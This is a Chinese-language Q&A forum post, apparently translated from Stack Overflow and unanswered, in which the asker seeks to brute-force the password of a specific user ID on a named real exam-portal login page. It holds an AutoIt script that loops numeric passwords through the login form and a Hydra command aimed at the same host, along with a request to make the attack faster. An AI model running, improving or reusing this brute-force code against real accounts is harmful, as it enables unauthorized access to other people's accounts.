如何在html页面中强制使用用户名密码

时间:2017-05-25 02:39:41

标签: php http-post brute-force hydra

我有一个正确的用户名和该用户名可能的6000密码列表。 我想在以下网站上为特定用户名尝试所有可能的密码。

https://cdn.digialm.com//EForms/configuredHtml/756/5055/login.html

我已经创建了一个AutoIt脚本,但单次尝试需要花费太多时间。

> #include <IE.au3>
> #include <String.au3>
> #include <FileConstants.au3>
> #include <MsgBoxConstants.au3>
> #include <WinAPIFiles.au3>
> 
> Call ("signIn")
> 
> Func signIn()
> 
> 
> 
> Global $oIE =
> _IECreate("https://cdn.digialm.com//EForms/configuredHtml/756/5055/login.html")
> 
> # Loop From here $file = FileOpen("log.txt", 2)
> 
> For $i = 600000 To 9999999    Local $username =
> _IEGetObjByName($oIE,"userid")    Local $password = _IEGetObjByName($oIE,"confData")  Local $button = _IEGetObjByName($oIE,"button1")     $string = String($i)    FileWriteLine($file, $string);
>   _IEformElementSetValue($username,"6269644")
>   _IEformElementSetValue($password,$string)   _IEAction($button,"click")
>   Sleep(1000) Next    ;
> #to here EndFunc

任何人都可以告诉我如何以更快的方式做到这一点。

我也试过了hydra,但每次都返回文件中的所有密码都是正确的。 我不知道这种语法有什么问题。

> D:\Thc Hydra Master>hydra -l 6269618 -P password.txt cdn.digialm.com
> http-get-fo rm
> "/EForms/loginAction.do?subAction=ValidateUser:userid=^USER^&confData=^PASS^:
> combination does not"

请帮忙。

0 个答案:

没有答案